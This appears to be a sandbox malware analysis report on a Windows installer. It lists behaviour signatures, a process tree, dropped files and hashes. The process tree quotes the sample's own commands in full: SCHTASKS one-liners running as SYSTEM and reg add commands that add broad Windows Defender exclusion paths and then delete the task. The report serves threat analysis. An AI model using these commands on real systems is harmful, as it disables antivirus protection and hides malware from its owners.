Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    12/08/2026, 17:00

General

  • Target
    install_sint013.exe
  • Size 40.5MB
  • Sample260812-vjdpaa1elf
  • SHA256 685dc0e7b8f0ac81703497ab0ffe75745ad5bf56432ec743e46abbcebfc75928
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 6 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 3 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Program Files directory 9 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 3 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies registry class 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 4 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\install_sint013.exe
    "C:\Users\Admin\AppData\Local\Temp\install_sint013.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:1116
  • C:\Users\Public\LpU3ji\TnhKNL.exe
    C:\Users\Public\LpU3ji\TnhKNL.exe
    1⤵
    • Checks computer location settings
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Drops file in Program Files directory
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4248
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\LpU3ji\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:2916
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\LpU3ji\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:1552
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:3344
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:4224
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:2816
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:1380
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:4560
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:2952
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:4744
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:2684
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:3920
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:4580
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:4324
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:2368
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:4116
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:1712
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:1032
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:612
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:2324
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:1956
                        • C:\Program Files (x86)\lrPNdi\lrPNdi.exe
                          "C:\Program Files (x86)\lrPNdi\lrPNdi.exe"
                          2⤵
                          • Executes dropped EXE
                          • Loads dropped DLL
                          • System Location Discovery: System Language Discovery
                          PID:1568
                      • C:\Users\Public\LpU3ji\TnhKNL.exe
                        "C:\Users\Public\LpU3ji\TnhKNL.exe"
                        1⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        PID:3820
                      • C:\Windows\system32\cmd.exe
                        cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\LpU3ji" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:4640
                        • C:\Windows\system32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\LpU3ji" /t REG_DWORD /d 0 /f
                          2⤵
                          • Windows security bypass
                          PID:3428
                      • C:\Windows\system32\cmd.exe
                        cmd.exe
                        1⤵
                          PID:4908
                        • C:\Windows\system32\cmd.exe
                          cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:1028
                          • C:\Windows\system32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:3896
                        • C:\Windows\system32\cmd.exe
                          cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:2304
                          • C:\Windows\system32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:3872

                        Network

                              MITRE ATT&CK Enterprise v16

                              Replay Monitor

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                              Downloads

                              XPSPLOG.dll

                              • Path C:\Program Files (x86)\lrPNdi\XPSPLOG.dll
                              • Size 4.6MB
                              • SHA256 e1144ed2786dd8e01983575ae82e31394ac387e272efd80d45e816f54649d67f
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              lrPNdi.exe

                              • Path C:\Program Files (x86)\lrPNdi\lrPNdi.exe
                              • Size 145KB
                              • SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              TnhKNL.exe

                              • Path C:\Users\Public\LpU3ji\TnhKNL.exe
                              • Size 135KB
                              • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              UxEnhance64.dll

                              • Path C:\Users\Public\LpU3ji\UxEnhance64.dll
                              • Size 3.1MB
                              • SHA256 77d6930a482a440fac91c0ddb03dca369de3a6f67be286b8c0667c29a2d3c70f
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              adoresd.dat

                              • Path C:\Users\Public\LpU3ji\adoresd.dat
                              • Size 4.7MB
                              • SHA256 cab580f00d1c1e418a5fc30e4436ef49c9e1c373685b1c7d2a8d228ea44c7be0
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              msadox.tb

                              • Path C:\Users\Public\LpU3ji\msadox.tb
                              • Size 8KB
                              • SHA256 a968fb439534c1368c6568bcf8459eb4ef483634097e193774caf630a1a973b9
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              memory/1116-0-0x00000000001E0000-0x00000000001EE000-memory.dmp

                              memory/1116-1-0x00000000001E0000-0x00000000001EE000-memory.dmp

                              memory/1116-2-0x00000000001F0000-0x00000000001FC000-memory.dmp

                              memory/1116-504-0x00007FFC0A460000-0x00007FFC0A470000-memory.dmp

                              memory/1116-524-0x00000000001E0000-0x00000000001EE000-memory.dmp

                              memory/1116-525-0x00007FFC0A460000-0x00007FFC0A470000-memory.dmp

                              memory/3820-573-0x00007FFBF3230000-0x00007FFBF374E000-memory.dmp

                              memory/3820-578-0x00000281152F0000-0x0000028115B81000-memory.dmp

                              memory/3820-594-0x00000281152F0000-0x0000028115B81000-memory.dmp

                              memory/3820-595-0x00007FFC11750000-0x00007FFC11752000-memory.dmp

                              memory/3820-593-0x00000281152F0000-0x0000028115B81000-memory.dmp

                              memory/3820-592-0x00000281152F0000-0x0000028115B81000-memory.dmp

                              memory/3820-589-0x00000281152F0000-0x0000028115B81000-memory.dmp

                              memory/3820-585-0x00000281152F0000-0x0000028115B81000-memory.dmp

                              memory/3820-584-0x00007FFC11760000-0x00007FFC11762000-memory.dmp

                              memory/4248-550-0x000001EDF7770000-0x000001EDF8001000-memory.dmp

                              memory/4248-543-0x000001EDF7770000-0x000001EDF8001000-memory.dmp

                              memory/4248-557-0x000001EDF8410000-0x000001EDF849A000-memory.dmp

                              memory/4248-556-0x000001EDF8410000-0x000001EDF849A000-memory.dmp

                              memory/4248-555-0x000001EDF55C0000-0x000001EDF560E000-memory.dmp

                              memory/4248-565-0x000001EDF7770000-0x000001EDF8001000-memory.dmp

                              memory/4248-531-0x00007FFBF3230000-0x00007FFBF374E000-memory.dmp

                              memory/4248-558-0x000001EDF8410000-0x000001EDF849A000-memory.dmp

                              memory/4248-559-0x000001EDF8410000-0x000001EDF849A000-memory.dmp

                              memory/4248-563-0x000001EDF7770000-0x000001EDF8001000-memory.dmp

                              memory/4248-545-0x000001EDF7770000-0x000001EDF8001000-memory.dmp

                              memory/4248-544-0x000001EDF7770000-0x000001EDF8001000-memory.dmp

                              memory/4248-546-0x000001EDF7770000-0x000001EDF8001000-memory.dmp

                              memory/4248-539-0x000001EDF7770000-0x000001EDF8001000-memory.dmp

                              memory/4248-538-0x00007FFC11760000-0x00007FFC11762000-memory.dmp

                              memory/4248-536-0x000001EDF7770000-0x000001EDF8001000-memory.dmp

                              memory/4248-530-0x00007FFC11750000-0x00007FFC11752000-memory.dmp